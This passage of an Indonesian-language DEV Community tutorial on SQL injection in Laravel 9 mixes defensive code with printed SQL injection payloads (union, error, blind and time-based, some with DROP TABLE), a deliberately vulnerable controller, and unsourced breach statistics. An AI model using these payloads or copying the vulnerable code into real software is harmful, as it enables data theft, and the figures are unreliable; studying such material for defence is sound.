DEV Community

ahmadasroni38
ahmadasroni38

Posted on

๐Ÿ’‰ Laravel 9 Injection Security - Comprehensive Guide

"Real-World Laravel Injection Attacks & Defense"

Disusun oleh: ahmadasroni38

Current Date and Time (UTC): 2025-07-19 09:20:37

Framework: Laravel 9

Target: Pemula - Intermediate


๐Ÿ“Š Statistik Kerentanan Injection - Facts & Figures

๐ŸŒ Global Web Security Statistics 2024

Injection Vulnerability Prevalence:

  • ๐Ÿšจ 74% aplikasi web masih rentan terhadap injection attacks
  • ๐Ÿฅ‡ #1 vulnerability di OWASP Top 10 selama 13 tahun berturut-turut
  • ๐Ÿ’ฐ Rp 76.3 miliar rata-rata kerugian per data breach yang melibatkan injection
  • โšก 19 detik rata-rata waktu untuk menemukan injectable endpoint
  • ๐Ÿ” 1 dari 4 aplikasi web memiliki blind SQL injection vulnerability

๐Ÿ“ˆ Injection Attack Trends

๐Ÿ“Š Injection Attack Statistics (2024)

SQL Injection:           67% โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ
NoSQL Injection:         12% โ–ˆโ–ˆโ–ˆโ–ˆ
Command Injection:       11% โ–ˆโ–ˆโ–ˆ
LDAP Injection:           6% โ–ˆโ–ˆ
XPath Injection:          3% โ–ˆ
XML Injection:            1% 
Enter fullscreen mode Exit fullscreen mode

Industry Breakdown:

  • Healthcare: 89% aplikasi vulnerable
  • Financial Services: 71% aplikasi vulnerable
  • E-commerce: 78% aplikasi vulnerable
  • Government: 82% aplikasi vulnerable
  • Education: 76% aplikasi vulnerable

๐Ÿ’ก Mengapa Masih Banyak yang Vulnerable?

Top 5 Alasan:

  1. Legacy Code (34%) - Aplikasi lama dengan coding practices buruk
  2. Lack of Training (28%) - Developer kurang pemahaman security
  3. Time Pressure (19%) - Rush development tanpa security review
  4. Complex Architecture (12%) - Microservices dengan banyak endpoint
  5. Third-party Components (7%) - Library/framework yang vulnerable

๐Ÿง  Teori Fundamental Injection Attacks

๐Ÿ” 1. Anatomi Injection Attack

Injection attack terjadi ketika aplikasi mengizinkan input yang tidak dipercaya untuk mengubah struktur atau semantik dari perintah yang akan dieksekusi oleh interpreter (database, sistem operasi, atau layanan lainnya).

Injection Triangle Model:

     [INTERPRETER]
        /        \
       /          \
[TRUSTED CODE] โ†โ†’ [UNTRUSTED DATA]
Enter fullscreen mode Exit fullscreen mode

Penjelasan Detail:

  • Interpreter: Sistem yang memproses perintah (MySQL, PostgreSQL, MongoDB, Bash shell, dll)
  • Trusted Code: Query atau command yang ditulis developer
  • Untrusted Data: Input dari user yang bisa dimanipulasi

Injection terjadi ketika: Untrusted data mengubah semantik trusted code sehingga interpreter mengeksekusi perintah yang tidak diinginkan.

Contoh Real-World:

// Trusted Code (yang developer maksudkan)
SELECT * FROM users WHERE username = 'john'

// Untrusted Data (input malicious)
Input: admin' OR '1'='1' --

// Hasil Injection (yang sebenarnya dieksekusi)
SELECT * FROM users WHERE username = 'admin' OR '1'='1' --'
Enter fullscreen mode Exit fullscreen mode

๐Ÿงฌ 2. SQL Injection Deep Dive

Klasifikasi Berdasarkan Teknik Eksploitasi:

SQL Injection Types
โ”œโ”€โ”€ In-band (Classical) - 67% dari semua attacks
โ”‚   โ”œโ”€โ”€ Error-based (23%)
โ”‚   โ””โ”€โ”€ Union-based (31%)
โ”œโ”€โ”€ Inferential (Blind) - 28% dari semua attacks
โ”‚   โ”œโ”€โ”€ Boolean-based (18%)
โ”‚   โ””โ”€โ”€ Time-based (12%)
โ””โ”€โ”€ Out-of-band - 5% dari semua attacks
    โ”œโ”€โ”€ DNS-based (3%)
    โ””โ”€โ”€ HTTP-based (2%)
Enter fullscreen mode Exit fullscreen mode

Penjelasan Detail Setiap Jenis:

A. Error-based SQL Injection

Memanfaatkan error messages database untuk mengekstrak informasi.

Karakteristik:

  • Database menampilkan error messages dengan informasi sensitif
  • Attacker trigger error dengan payload khusus
  • Informasi database struktur leaked melalui error

Contoh Payload:

-- Payload untuk extract database version
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(version(), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a) --

-- Payload untuk extract table names
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a) --
Enter fullscreen mode Exit fullscreen mode

B. Union-based SQL Injection

Menggunakan UNION operator untuk menggabungkan hasil query attacker dengan query asli.

Karakteristik:

  • Membutuhkan jumlah kolom yang sama antara query asli dan attacker
  • Hasil query attacker ditampilkan di halaman web
  • Paling efektif untuk data extraction

Step-by-step Exploitation:

-- Step 1: Determine number of columns
' ORDER BY 1 --  (works)
' ORDER BY 2 --  (works)
' ORDER BY 3 --  (error) โ†’ 2 columns

-- Step 2: Find which columns are displayed
' UNION SELECT 1,2 --

-- Step 3: Extract database information
' UNION SELECT database(), version() --

-- Step 4: Extract table names
' UNION SELECT table_name, 2 FROM information_schema.tables WHERE table_schema=database() --

-- Step 5: Extract column names
' UNION SELECT column_name, 2 FROM information_schema.columns WHERE table_name='users' --

-- Step 6: Extract sensitive data
' UNION SELECT username, password FROM users --
Enter fullscreen mode Exit fullscreen mode

C. Boolean-based Blind SQL Injection

Tidak ada output langsung, attacker menebak informasi berdasarkan perubahan behavior aplikasi.

Karakteristik:

  • Aplikasi hanya menunjukkan dua state: TRUE/FALSE
  • Extraction data dilakukan karakter per karakter
  • Membutuhkan banyak request untuk extract data

Contoh Exploitation Process:

-- Test apakah injection point vulnerable
original_url: /product.php?id=1
test_true: /product.php?id=1 AND 1=1  (normal response)
test_false: /product.php?id=1 AND 1=2  (different response)

-- Extract database name length
/product.php?id=1 AND LENGTH(database())=1  (false)
/product.php?id=1 AND LENGTH(database())=2  (false)
...
/product.php?id=1 AND LENGTH(database())=7  (true) โ†’ database name 7 characters

-- Extract first character of database name
/product.php?id=1 AND SUBSTRING(database(),1,1)='a'  (false)
/product.php?id=1 AND SUBSTRING(database(),1,1)='b'  (false)
...
/product.php?id=1 AND SUBSTRING(database(),1,1)='l'  (true) โ†’ first char is 'l'

-- Continue for all characters...
Enter fullscreen mode Exit fullscreen mode

D. Time-based Blind SQL Injection

Menggunakan delay function untuk menentukan TRUE/FALSE condition.

Karakteristik:

  • Menggunakan SLEEP(), WAITFOR DELAY, atau function delay lainnya
  • Response time menentukan hasil condition
  • Reliable tapi lambat untuk data extraction

Contoh Payloads:

-- MySQL
' AND IF(1=1, SLEEP(5), 0) --  (delay 5 seconds if condition true)

-- PostgreSQL  
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END --

-- SQL Server
'; IF (1=1) WAITFOR DELAY '00:00:05' --

-- Oracle
' AND (SELECT CASE WHEN (1=1) THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE NULL END FROM dual) IS NOT NULL --
Enter fullscreen mode Exit fullscreen mode

๐Ÿ“Š 3. Attack Success Probability Matrix

Vulnerability Type Detection Time Exploitation Time Success Rate Data Extract Speed
Error-based SQLi 1-5 minutes 10-30 minutes 95% High
Union-based SQLi 1-5 minutes 15-45 minutes 90% Very High
Boolean Blind SQLi 5-15 minutes 2-8 hours 85% Low
Time-based SQLi 10-30 minutes 4-12 hours 80% Very Low
NoSQL Injection 5-20 minutes 30-90 minutes 75% Medium

๐ŸŽฏ 4. Common Injection Vectors - Detailed Analysis

Web Application Entry Points dengan Statistik:

GET Parameters (45% of attacks)

// Vulnerable examples
$_GET['id'] โ†’ /product.php?id=1' OR '1'='1
$_GET['search'] โ†’ /search.php?q=admin' UNION SELECT password FROM users--
$_GET['category'] โ†’ /products.php?cat=electronics'; DROP TABLE products--
$_GET['sort'] โ†’ /list.php?sort=price; UPDATE products SET price=0--
Enter fullscreen mode Exit fullscreen mode

Mengapa GET parameters paling sering diserang:

  • Mudah dimanipulasi melalui URL
  • Visible di browser history, access logs
  • Sering tidak divalidasi dengan proper
  • Can be shared dan bookmarked

POST Data (32% of attacks)

// Vulnerable form submissions
$_POST['username'] โ†’ Login forms, registration
$_POST['email'] โ†’ Contact forms, newsletters
$_POST['comment'] โ†’ Comment systems, reviews
$_POST['address'] โ†’ User profiles, checkout
Enter fullscreen mode Exit fullscreen mode

POST attack characteristics:

  • Tidak visible di URL tapi bisa diintercept
  • Sering mengandung sensitive data
  • Developer assumption: "POST = secure"
  • JSON/XML POST data juga vulnerable

HTTP Headers (12% of attacks)

// Vulnerable header processing
$_SERVER['HTTP_USER_AGENT'] โ†’ User tracking, analytics
$_SERVER['HTTP_X_FORWARDED_FOR'] โ†’ IP logging, geolocation
$_SERVER['HTTP_REFERER'] โ†’ Traffic analysis
$_SERVER['HTTP_ACCEPT_LANGUAGE'] โ†’ Localization
Enter fullscreen mode Exit fullscreen mode

Header injection examples:

User-Agent: Mozilla/5.0' UNION SELECT password FROM users--
X-Forwarded-For: 127.0.0.1'; DROP TABLE sessions--
Referer: http://evil.com' AND (SELECT COUNT(*) FROM admin_users)>0--
Enter fullscreen mode Exit fullscreen mode

Cookies (8% of attacks)

// Vulnerable cookie processing
$_COOKIE['session_id'] โ†’ Session management
$_COOKIE['preferences'] โ†’ User settings
$_COOKIE['cart'] โ†’ Shopping cart data
$_COOKIE['lang'] โ†’ Language selection
Enter fullscreen mode Exit fullscreen mode

File Uploads (3% of attacks)

// Vulnerable file processing
$_FILES['upload']['name'] โ†’ Original filename
$_FILES['upload']['tmp_name'] โ†’ Temporary file path
// Metadata in uploaded files
EXIF data, document properties, archive contents
Enter fullscreen mode Exit fullscreen mode

๐Ÿ“Š Framework Security Comparison - Detailed Analysis

๐Ÿ”’ Laravel Security Architecture

Laravel memberikan multiple layers of protection terhadap injection attacks:

1. Eloquent ORM Protection

// โœ… AMAN - Automatic parameter binding
User::where('email', $email)->first();

// โœ… AMAN - Eloquent query builder
DB::table('users')->where('email', '=', $email)->get();

// โŒ VULNERABLE - Raw concatenation
DB::select("SELECT * FROM users WHERE email = '$email'");
Enter fullscreen mode Exit fullscreen mode

Bagaimana Eloquent melindungi:

  • Automatic parameter binding untuk semua query
  • Query structure terpisah dari data
  • Type casting berdasarkan model attributes
  • Mass assignment protection

2. Query Builder Protection

// โœ… AMAN - Parameter binding otomatis
$users = DB::table('users')
    ->where('name', 'like', "%$search%")
    ->where('status', '=', $status)
    ->get();

// โœ… AMAN - Named bindings
$users = DB::select('SELECT * FROM users WHERE name = :name', [
    'name' => $search
]);

// โœ… AMAN - Positional bindings  
$users = DB::select('SELECT * FROM users WHERE name = ?', [$search]);
Enter fullscreen mode Exit fullscreen mode

3. Validation System Protection

// Built-in validation rules that prevent injection
$rules = [
    'email' => 'required|email|max:255',
    'age' => 'required|integer|min:1|max:150',
    'username' => 'required|alpha_num|min:3|max:20',
    'search' => 'nullable|string|max:100|regex:/^[a-zA-Z0-9\s]+$/'
];
Enter fullscreen mode Exit fullscreen mode

๐Ÿ“ˆ Security Evolution Timeline

Laravel Security Improvements Over Versions

Laravel 4 (2013):  โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ 80% injection protection
Laravel 5 (2015):  โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ 85% (improved validation)
Laravel 6 (2019):  โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ 90% (better defaults)
Laravel 7 (2020):  โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ 92% (security enhancements)
Laravel 8 (2021):  โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ 94% (stricter validation)
Laravel 9 (2022):  โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ 95% (comprehensive protection)
Enter fullscreen mode Exit fullscreen mode

Key improvements per version:

  • Laravel 5: Mass assignment protection by default
  • Laravel 6: Improved validation rules, better error handling
  • Laravel 7: Enhanced security middleware, CSRF improvements
  • Laravel 8: Stricter type casting, better sanitization
  • Laravel 9: Advanced query analysis, security-first defaults

๐ŸŽฏ Real-World Impact Studies - Indonesian Context

๐Ÿ’ธ Financial Impact Analysis (dalam Rupiah)

Breakdown Biaya per Sektor Industry di Indonesia:

Sektor Perbankan

Total Impact: Rp 208.2 miliar per incident

  • Direct Technical Costs: Rp 52.1 miliar

    • System recovery: Rp 23.4 miliar
    • Data restoration: Rp 15.6 miliar
    • Security upgrade: Rp 13.1 miliar
  • Regulatory & Legal: Rp 41.6 miliar

    • OJK fines: Rp 23.4 miliar
    • Legal fees: Rp 10.9 miliar
    • Audit costs: Rp 7.3 miliar
  • Business Impact: Rp 62.4 miliar

    • Lost revenue: Rp 39.0 miliar
    • Customer compensation: Rp 15.6 miliar
    • Market share loss: Rp 7.8 miliar
  • Long-term Reputation: Rp 52.1 miliar

    • Brand recovery: Rp 31.2 miliar
    • Marketing campaigns: Rp 15.6 miliar
    • Customer retention: Rp 5.3 miliar

Sektor E-commerce

Total Impact: Rp 100.2 miliar per incident

  • Immediate Costs: Rp 25.1 miliar
  • Customer Impact: Rp 35.1 miliar
  • Business Disruption: Rp 25.0 miliar
  • Recovery & Prevention: Rp 15.0 miliar

Sektor Healthcare

Total Impact: Rp 156.6 miliar per incident

  • Patient Data Protection: Rp 62.6 miliar
  • Regulatory Compliance: Rp 39.2 miliar
  • System Recovery: Rp 31.3 miliar
  • Legal & PR: Rp 23.5 miliar

๐Ÿ“ฐ Notable Indonesian Cases

Case Study 1: Major E-commerce Platform (2023)

Background:

  • Platform dengan 50+ juta users
  • SQL injection di search functionality
  • 2.3 juta customer records compromised

Technical Details:

// Vulnerable code discovered
$search = $_GET['q'];
$products = DB::select("
    SELECT p.*, c.name as category_name 
    FROM products p 
    JOIN categories c ON p.category_id = c.id 
    WHERE p.name LIKE '%$search%' 
    OR p.description LIKE '%$search%'
");
Enter fullscreen mode Exit fullscreen mode

Attack Vector:

-- Attacker payload
q=' UNION SELECT id,email,password,phone,address,created_at FROM users--

-- Executed query  
SELECT p.*, c.name as category_name 
FROM products p 
JOIN categories c ON p.category_id = c.id 
WHERE p.name LIKE '%' UNION SELECT id,email,password,phone,address,created_at FROM users--%' 
OR p.description LIKE '%%'
Enter fullscreen mode Exit fullscreen mode

Impact:

  • Financial: Rp 89.4 miliar total cost
  • Users affected: 2.3 million
  • Downtime: 18 hours
  • Recovery time: 6 months full recovery

Lessons Learned:

  • Search functionality most vulnerable entry point
  • User data in same database as product data = high risk
  • No input validation on search parameters
  • No monitoring for suspicious queries

Case Study 2: University System (2022)

Background:

  • Student information system
  • Blind SQL injection in grade lookup
  • 150,000 student records at risk

Vulnerable Code:

// Grade lookup system
$student_id = $_POST['student_id'];
$semester = $_POST['semester'];

$grades = DB::select("
    SELECT s.name, s.nim, g.course_code, g.grade, g.credit 
    FROM students s 
    JOIN grades g ON s.id = g.student_id 
    WHERE s.nim = '$student_id' 
    AND g.semester = '$semester'
");
Enter fullscreen mode Exit fullscreen mode

Attack Method:

-- Boolean-based blind injection
student_id=123456' AND (SELECT COUNT(*) FROM admin_users WHERE password LIKE 'a%')>0--

-- Time-based confirmation
student_id=123456' AND IF((SELECT COUNT(*) FROM admin_users WHERE password LIKE 'a%')>0, SLEEP(5), 0)--
Enter fullscreen mode Exit fullscreen mode

Impact Analysis:

  • Detection time: 3 months (discovered during routine audit)
  • Data at risk: 150,000 student records + admin credentials
  • Cost: Rp 23.4 miliar for system overhaul
  • Reputation: Trust issues with students and parents

๐Ÿš€ Laravel 9 Setup - Complete Tutorial

๐Ÿ“ฆ 1. Environment Setup dengan Security Focus

# Create new Laravel 9 project
composer create-project laravel/laravel injection-security-demo "9.*"
cd injection-security-demo

# Install security-related packages
composer require barryvdh/laravel-debugbar --dev
composer require laravel/telescope --dev
composer require spatie/laravel-permission
composer require pragmarx/google2fa-laravel

# Install frontend dependencies
npm install && npm run dev

# Environment configuration
cp .env.example .env
php artisan key:generate
Enter fullscreen mode Exit fullscreen mode

๐Ÿ—„๏ธ 2. Database Setup dengan Security Considerations

.env Configuration:

# Database
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=injection_security_demo
DB_USERNAME=app_user
DB_PASSWORD=strong_random_password_here

# Security settings
APP_ENV=local
APP_DEBUG=true  # Only in development
APP_URL=http://localhost:8000

# Session security
SESSION_DRIVER=database
SESSION_LIFETIME=120
SESSION_ENCRYPT=true
SESSION_SECURE_COOKIE=true
SESSION_SAME_SITE=strict

# Additional security
BCRYPT_ROUNDS=12
Enter fullscreen mode Exit fullscreen mode

Migration Files:

// database/migrations/001_create_books_table.php
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;

return new class extends Migration
{
    public function up()
    {
        Schema::create('books', function (Blueprint $table) {
            $table->id();
            $table->string('title', 255);
            $table->string('author', 255);
            $table->text('description');
            $table->string('isbn', 20)->unique();
            $table->string('category', 100);
            $table->integer('stock')->unsigned();
            $table->decimal('price', 10, 2)->unsigned();
            $table->enum('status', ['available', 'out_of_stock', 'discontinued']);
            $table->string('publisher', 255)->nullable();
            $table->date('published_date')->nullable();
            $table->timestamps();

            // Indexes for better performance and security
            $table->index(['category', 'status']);
            $table->index(['author']);
            $table->fullText(['title', 'description']); // MySQL 5.7+
        });
    }

    public function down()
    {
        Schema::dropIfExists('books');
    }
};
Enter fullscreen mode Exit fullscreen mode
// database/migrations/002_create_comments_table.php
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;

return new class extends Migration
{
    public function up()
    {
        Schema::create('comments', function (Blueprint $table) {
            $table->id();
            $table->foreignId('user_id')->constrained()->onDelete('cascade');
            $table->foreignId('book_id')->constrained()->onDelete('cascade');
            $table->text('content');
            $table->tinyInteger('rating')->unsigned(); // 1-5
            $table->boolean('is_approved')->default(false);
            $table->string('ip_address', 45)->nullable(); // Support IPv6
            $table->string('user_agent', 500)->nullable();
            $table->timestamps();

            // Indexes
            $table->index(['book_id', 'is_approved']);
            $table->index(['user_id']);
            $table->index(['created_at']);
        });
    }

    public function down()
    {
        Schema::dropIfExists('comments');
    }
};
Enter fullscreen mode Exit fullscreen mode
// database/migrations/003_create_audit_logs_table.php
<?php
use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;

return new class extends Migration
{
    public function up()
    {
        Schema::create('audit_logs', function (Blueprint $table) {
            $table->id();
            $table->string('event_type', 50); // 'security_violation', 'login_attempt', etc.
            $table->string('severity', 20); // 'low', 'medium', 'high', 'critical'
            $table->text('description');
            $table->json('metadata')->nullable(); // Additional data
            $table->string('ip_address', 45);
            $table->string('user_agent', 500)->nullable();
            $table->foreignId('user_id')->nullable()->constrained()->onDelete('set null');
            $table->string('url', 1000)->nullable();
            $table->string('method', 10)->nullable(); // GET, POST, etc.
            $table->text('payload')->nullable(); // Request payload
            $table->timestamps();

            // Indexes for security analysis
            $table->index(['event_type', 'severity']);
            $table->index(['ip_address']);
            $table->index(['created_at']);
            $table->index(['user_id']);
        });
    }

    public function down()
    {
        Schema::dropIfExists('audit_logs');
    }
};
Enter fullscreen mode Exit fullscreen mode

๐Ÿ—๏ธ 3. Model Setup dengan Security Features

// app/Models/Book.php
<?php
namespace App\Models;

use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\SoftDeletes;

class Book extends Model
{
    use HasFactory, SoftDeletes;

    /**
     * Mass assignment protection - WHITELIST approach
     */
    protected $fillable = [
        'title',
        'author', 
        'description',
        'isbn',
        'category',
        'stock',
        'price',
        'status',
        'publisher',
        'published_date'
    ];

    /**
     * Hidden attributes (never exposed in JSON)
     */
    protected $hidden = [
        'created_at',
        'updated_at',
        'deleted_at'
    ];

    /**
     * Attribute casting for type safety
     */
    protected $casts = [
        'price' => 'decimal:2',
        'stock' => 'integer',
        'published_date' => 'date',
        'created_at' => 'datetime',
        'updated_at' => 'datetime'
    ];

    /**
     * Validation rules
     */
    public static function validationRules()
    {
        return [
            'title' => 'required|string|max:255|min:3',
            'author' => 'required|string|max:255|min:2',
            'description' => 'required|string|min:10|max:5000',
            'isbn' => 'required|string|regex:/^[0-9\-]+$/|min:10|max:20|unique:books,isbn',
            'category' => 'required|string|in:fiction,non-fiction,science,history,technology,education',
            'stock' => 'required|integer|min:0|max:10000',
            'price' => 'required|numeric|min:0|max:999999.99',
            'status' => 'required|in:available,out_of_stock,discontinued',
            'publisher' => 'nullable|string|max:255',
            'published_date' => 'nullable|date|before_or_equal:today'
        ];
    }

    /**
     * Relationships
     */
    public function comments()
    {
        return $this->hasMany(Comment::class);
    }

    public function approvedComments()
    {
        return $this->hasMany(Comment::class)->where('is_approved', true);
    }

    /**
     * Scopes for secure querying
     */
    public function scopeAvailable($query)
    {
        return $query->where('status', 'available')->where('stock', '>', 0);
    }

    public function scopeByCategory($query, $category)
    {
        $allowedCategories = ['fiction', 'non-fiction', 'science', 'history', 'technology', 'education'];

        if (in_array($category, $allowedCategories)) {
            return $query->where('category', $category);
        }

        return $query;
    }

    public function scopeSearchSafe($query, $search)
    {
        // Safe search implementation
        if (empty($search) || strlen($search) < 2) {
            return $query;
        }

        // Sanitize search input
        $search = strip_tags($search);
        $search = preg_replace('/[^a-zA-Z0-9\s\-_]/', '', $search);

        return $query->where(function($q) use ($search) {
            $q->where('title', 'LIKE', "%{$search}%")
              ->orWhere('author', 'LIKE', "%{$search}%")
              ->orWhere('description', 'LIKE', "%{$search}%");
        });
    }

    /**
     * Mutators for data sanitization
     */
    public function setTitleAttribute($value)
    {
        $this->attributes['title'] = strip_tags(trim($value));
    }

    public function setAuthorAttribute($value)
    {
        $this->attributes['author'] = strip_tags(trim($value));
    }

    public function setDescriptionAttribute($value)
    {
        // Allow basic HTML but sanitize
        $this->attributes['description'] = strip_tags($value, '<p><br><strong><em>');
    }
}
Enter fullscreen mode Exit fullscreen mode
// app/Models/Comment.php
<?php
namespace App\Models;

use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;

class Comment extends Model
{
    use HasFactory;

    protected $fillable = [
        'user_id',
        'book_id',
        'content',
        'rating',
        'ip_address',
        'user_agent'
    ];

    protected $hidden = [
        'ip_address',
        'user_agent'
    ];

    protected $casts = [
        'rating' => 'integer',
        'is_approved' => 'boolean',
        'created_at' => 'datetime',
        'updated_at' => 'datetime'
    ];

    public static function validationRules()
    {
        return [
            'content' => 'required|string|min:10|max:1000',
            'rating' => 'required|integer|min:1|max:5',
            'book_id' => 'required|exists:books,id',
        ];
    }

    public function user()
    {
        return $this->belongsTo(User::class);
    }

    public function book()
    {
        return $this->belongsTo(Book::class);
    }

    public function scopeApproved($query)
    {
        return $query->where('is_approved', true);
    }

    public function setContentAttribute($value)
    {
        // Strip all HTML tags and limit length
        $this->attributes['content'] = strip_tags(trim($value));
    }
}
Enter fullscreen mode Exit fullscreen mode
// app/Models/AuditLog.php
<?php
namespace App\Models;

use Illuminate\Database\Eloquent\Model;

class AuditLog extends Model
{
    protected $fillable = [
        'event_type',
        'severity', 
        'description',
        'metadata',
        'ip_address',
        'user_agent',
        'user_id',
        'url',
        'method',
        'payload'
    ];

    protected $casts = [
        'metadata' => 'array',
        'created_at' => 'datetime',
        'updated_at' => 'datetime'
    ];

    public function user()
    {
        return $this->belongsTo(User::class);
    }

    public static function logSecurityEvent($type, $severity, $description, $metadata = [])
    {
        self::create([
            'event_type' => $type,
            'severity' => $severity,
            'description' => $description,
            'metadata' => $metadata,
            'ip_address' => request()->ip(),
            'user_agent' => request()->userAgent(),
            'user_id' => auth()->id(),
            'url' => request()->fullUrl(),
            'method' => request()->method(),
            'payload' => request()->method() === 'POST' ? json_encode(request()->except(['password', '_token'])) : null
        ]);
    }
}
Enter fullscreen mode Exit fullscreen mode

โš ๏ธ VULNERABLE IMPLEMENTATION - Educational Purpose

๐Ÿšจ 1. VulnerableBookController - DON'T USE IN PRODUCTION

// app/Http/Controllers/VulnerableBookController.php
<?php
namespace App\Http\Controllers;

use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use App\Models\AuditLog;

class VulnerableBookController extends Controller
{
    /**
     * โŒ CRITICAL VULNERABILITY: Direct SQL injection
     * This demonstrates the most dangerous type of SQL injection
     */
    public function search(Request $request)
    {
        $search = $request->get('search', '');

        // ๐Ÿšจ EXTREME DANGER: User input directly concatenated to SQL
        $sql = "
            SELECT b.*, 
                   COUNT(c.id) as comment_count,
                   AVG(c.rating) as avg_rating
            FROM books b 
            LEFT JOIN comments c ON b.id = c.book_id 
            WHERE b.title LIKE '%{$search}%' 
               OR b.author LIKE '%{$search}%'
               OR b.description LIKE '%{$search}%'
            GROUP BY b.id
            ORDER BY b.title ASC
        ";

        try {
            $books = DB::select($sql);

            // Log for demonstration purposes
            AuditLog::logSecurityEvent(
                'search_query',
                'info',
                'Search executed',
                ['search_term' => $search, 'query' => $sql]
            );

        } catch (\Exception $e) {
            // ๐Ÿšจ DANGER: Exposing database errors
            return response()->json([
                'error' => 'Database error: ' . $e->getMessage(),
                'query' => $sql
            ], 500);
        }

        return view('books.vulnerable-search', compact('books', 'search'));
    }

    /**
     * โŒ HIGH VULNERABILITY: Dynamic column ordering
     */
    public function index(Request $request)
    {
        $sortBy = $request->get('sort', 'title');
        $order = $request->get('order', 'ASC');
        $category = $request->get('category', '');

        // ๐Ÿšจ DANGER: Direct injection of column names and order
        $sql = "
            SELECT b.*, c.name as category_name
            FROM books b 
            LEFT JOIN categories c ON b.category_id = c.id
        ";

        if (!empty($category)) {
            // ๐Ÿšจ DANGER: WHERE clause injection
            $sql .= " WHERE b.category = '{$category}'";
        }

        // ๐Ÿšจ DANGER: ORDER BY injection
        $sql .= " ORDER BY {$sortBy} {$order}";

        $books = DB::select($sql);

        return view('books.vulnerable-index', compact('books', 'sortBy', 'order', 'category'));
    }

    /**
     * โŒ CRITICAL VULNERABILITY: UNION-based injection opportunity
     */
    public function details($id)
    {
        // ๐Ÿšจ DANGER: No input validation on ID parameter
        $sql = "
            SELECT 
                b.id,
                b.title,
                b.author,
                b.description,
                b.price,
                b.isbn,
                u.name as reviewer_name,
                c.content as review_content,
                c.rating as review_rating,
                c.created_at as review_date
            FROM books b
            LEFT JOIN comments c ON b.id = c.book_id
            LEFT JOIN users u ON c.user_id = u.id
            WHERE b.id = {$id}
            AND c.is_approved = 1
            ORDER BY c.created_at DESC
        ";

        $bookData = DB::select($sql);

        if (empty($bookData)) {
            // ๐Ÿšจ DANGER: Information disclosure
            return response()->json([
                'error' => 'Book not found',
                'executed_query' => $sql,
                'parameter_received' => $id
            ], 404);
        }

        return view('books.vulnerable-details', compact('bookData'));
    }

    /**
     * โŒ HIGH VULNERABILITY: Blind SQL injection opportunity
     */
    public function checkAvailability(Request $request)
    {
        $isbn = $request->get('isbn');
        $location = $request->get('location', 'main');

        // ๐Ÿšจ DANGER: Boolean-based blind injection opportunity
        $sql = "
            SELECT COUNT(*) as available
            FROM books b
            JOIN inventory i ON b.id = i.book_id
            WHERE b.isbn = '{$isbn}'
            AND i.location = '{$location}'
            AND i.quantity > 0
        ";

        $result = DB::select($sql);
        $available = $result[0]->available ?? 0;

        // Response reveals TRUE/FALSE condition - perfect for blind injection
        if ($available > 0) {
            return response()->json(['status' => 'available', 'message' => 'Book is available']);
        } else {
            return response()->json(['status' => 'unavailable', 'message' => 'Book is not available']);
        }
    }

    /**
     * โŒ MEDIUM VULNERABILITY: Time-based injection opportunity
     */
    public function complexSearch(Request $request)
    {
        $title = $request->get('title', '');
        $author = $request->get('author', '');
        $minPrice = $request->get('min_price', '0');
        $maxPrice = $request->get('max_price', '999999');

        // ๐Ÿšจ DANGER: Multiple injection points
        $sql = "
            SELECT b.* 
            FROM books b
            WHERE 1=1
        ";

        if (!empty($title)) {
            $sql .= " AND b.title LIKE '%{$title}%'";
        }

        if (!empty($author)) {
            $sql .= " AND b.author LIKE '%{$author}%'";
        }

        // ๐Ÿšจ DANGER: Numeric fields without validation
